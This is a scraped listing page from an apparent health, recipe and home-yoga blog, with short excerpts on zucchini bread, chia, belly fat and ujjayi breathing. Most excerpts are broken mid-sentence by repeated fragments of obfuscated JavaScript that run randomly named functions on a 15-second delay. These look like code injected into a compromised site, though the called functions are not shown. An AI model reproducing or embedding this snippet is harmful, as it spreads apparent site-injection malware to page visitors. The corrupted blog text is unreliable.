7 Steps to P.U.R.E. this Spring

P.U.R.E.=Perspiration, Urination, Respiration, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() …

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OOOdles of Zucchini Noodles

 Summer Bounty If you have been following our blog you know we are sitting on a lot of zuchini up in here.  If you haven’t seen our “Seriously Good Zuchini Bread” check it out here.  The following recipe may be …

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13 Tips to lose Belly Fat

   13 Tips to lose Belly Fat If you follow our blog than you know we don’t subscribe to extreme measures, fad diets, popping pills andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if …

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Cha Cha Cha “Chia”

Ok, so you already know about it, sort of.  You have heard of it.  Chia, it’s a mega-superfood from the Central andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), …

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Seriously Good Zuchini Bread

When your neighbor shows up with these, a girl has to get busy.  It’s been a zucchini fest in the Y3 test kitchen andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay …

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Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

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Home Yoga Practice Mindful Meditation

There is nothing more pure in the world than the knowledge of the true self.  In due time this will come to the devoted practitioner of yoga. ~Bagavad Gita, IV.38 Welcome to our series Home Yoga Practice If you haven’t already …

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Truth…
inspiration June 18, 2014 Inspiration, Recommended Reads no discussions
Choosing a Focus for your Home Yoga Practice

We begin our new series the Home Yoga Practice at the beginning.  For a successful yoga practice, postures (asanas) can be used as preparations, counter-poses or a focal or peak pose.  To create a sequence there should always be a …

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Creating a Personal Home Yoga Practice

  In our original Blog post Getting Back on Track (Check it out if you haven’t read it) we shared with you “Tips” andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = …

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